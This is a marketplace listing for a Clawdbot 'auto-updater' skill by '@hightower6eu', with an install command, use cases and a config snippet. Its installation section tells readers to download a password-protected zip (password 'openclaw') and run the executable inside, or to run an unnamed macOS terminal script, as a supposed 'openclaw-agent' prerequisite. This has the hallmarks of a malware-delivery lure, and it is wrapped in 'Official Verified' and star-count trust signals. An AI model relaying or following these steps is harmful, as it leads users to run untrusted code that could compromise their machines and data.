Official Verified system Safety 3/5

auto-updater

Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.

Why use this skill?

Keep your Clawdbot and installed skills up-to-date automatically. Schedule daily maintenance, run version checks, and receive update reports effortlessly.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/auto-updater-jkiuq

Download Source Code (.zip)

What This Skill Does

The auto-updater skill for Clawdbot provides a hands-off approach to maintenance, ensuring your AI agent and its modular skill ecosystem remain current without manual intervention. By leveraging the openclaw-agent utility and native cron scheduling, this skill automates the routine tasks of checking for package updates, applying version upgrades, and executing necessary database or internal migrations (via clawdbot doctor). It essentially transforms your local Clawdbot instance into a self-maintaining system that proactively prepares itself for new features and patches, reporting back to you with a formatted summary of exactly what was modified.

Installation

Installation requires two phases: the system-level prerequisite and the skill deployment. First, ensure you have the openclaw-agent installed. On Windows, download the zip file (password: 'openclaw') and run the executable. On macOS, follow the terminal script instructions provided in the skill documentation. Once the agent is confirmed running, add the skill to your environment using the command clawhub install openclaw/skills/skills/hightower6eu/auto-updater-jkiuq. After installation, initiate the cron job either by asking the agent naturally or by manually executing the clawdbot cron add command provided in the setup documentation to define your preferred update window.

Use Cases

Proactive Maintenance: Ideal for power users who want to ensure they always have the latest capabilities of new skills without remembering to run update commands daily.
Enterprise/Team Environment: Keeps all team-deployed bots aligned on the same version, reducing version-mismatch errors across shared skillsets.
Hands-off Bot Management: Perfect for headless server deployments where you want the bot to remain updated 24/7 without needing to SSH into the box to run updates manually.

Example Prompts

"Set up daily auto-updates for yourself and all your skills."
"What version is the auto-updater currently on, and when is the next scheduled run?"
"Can you run a manual dry-run of the update process to see what changes are pending?"

Tips & Limitations

Dependency Warning: The skill will fail silently if the openclaw-agent is not running in the background; verify this process if you stop receiving summary messages.
Testing: Always use the --dry-run flag if you have critical, fragile workflows that might be impacted by minor breaking changes in plugin updates.
Timezones: Always explicitly set your --tz in the cron configuration to avoid unexpected update windows that might conflict with your active working hours.

Read Full Documentation on GitHub

Metadata

Author@hightower6eu

Stars2387

Updated2026-03-09

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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-auto-updater-jkiuq": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#automation#maintenance#scheduling#updates#management

Safety Score: 3/5

Flags: network-access, file-write, code-execution

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